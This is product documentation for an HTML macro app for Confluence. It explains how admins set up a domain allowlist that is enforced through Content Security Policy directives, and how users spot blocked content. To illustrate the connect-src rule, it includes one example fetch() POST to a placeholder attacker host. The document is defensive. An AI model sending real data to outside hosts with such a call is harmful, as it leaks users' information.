HTML Macro Security

HTML Macro for Confluence has security features that allows Confluence admins to define trusted domains (white listing). When domain whitelist/allowlist is defined, Confluence users will be restricted to only interact with trusted domains with HTML, Javascript and third party Iframe embed code.

This makes HTML Macro versatile yet very secure for enterprise usage.

Admin Guide

Domain Whitelisting

As a Confluence admin, you can add a list of trusted domains to the whitelist. The app uses Content Security Policy to block any interactions outside these trusted domains. Specifically, it implements three Content Security Policy (CSP) directives:

frame-src: This CSP directive blocks embedding any domains via Iframe that are not added in allowlist.

For example, if a user tries to embed not-secure-site.com in Confluence, but the domain is not in the allow list, the embed will be blocked.

connect-src: This CSP directive blocks any attempt to connect (send request) to domains not in allowlist.

For example, the following request will be blocked as attacker-site.io is not in allowlist:

fetch('https://attacker-site.io', {
    method: 'POST',
    body: JSON.stringify({ "content": "Foo" })
})

script-src: This CSP directive prevents users from loading scripts coming from unsafe sources that are not defined as trusted domains.

For example, the following script will be not be loaded and executed if code.jquery.com is not added in allowlist.

<script src="https://code.jquery.com/jquery-2.2.4.min.js"></script>

The browser will throw an error message in console like below (message can slightly differ based on browser):

Content Security Policy: The page’s settings blocked the loading of a resource at https://code.jquery.com/jquery-2.2.4.min.js (“script-src”).

Enable Whitelist Feature and Add Domains to the Whitelist

1. Go to Top Nav (right side) → Settings

2. Find HTML Macro Configuration section

3. Enable HTML macro whitelist by switching the toggle to on

4. Add domains (you can use wildcard syntax like *.example.com)

Once it’s enabled, you can access the configuration from the macro:

1. Open the macro on the Confluence page

2. On the information banner, click See allowed domains

3. Click Open allowlist setting

Alternatively, you can also find the configuration page from: Manage apps → HTML Macro for Confluence → Configure.

Enabling whitelist in existing macros

If your organization is already using HTML Macro for Confluence, please be careful when enabling the security feature. It can possibly break existing macros.

You can find the app/macro usage in Confluence from Settings → Macro usage. Review the usage and make sure to add used domains to the whitelist.

Identify if the whitelist is enabled

As a user, you can use HTML Macro as documented in HTML Macro for Confluence. If domain whitelisting is enabled, the app shows a short notice in the yellow panel as below:

If a domain is not added to the list, you can find the error on the Confluence page as below:

Please check with your admin if the domains are whitelisted.

You can also check the content security policy (CSP) errors in browser console. Here is an example error message when embedding Google Forms:

Content Security Policy: The page’s settings blocked the loading of a resource at https://docs.google.com/forms/d/e/xxx/viewform?embedded=true (“frame-src”).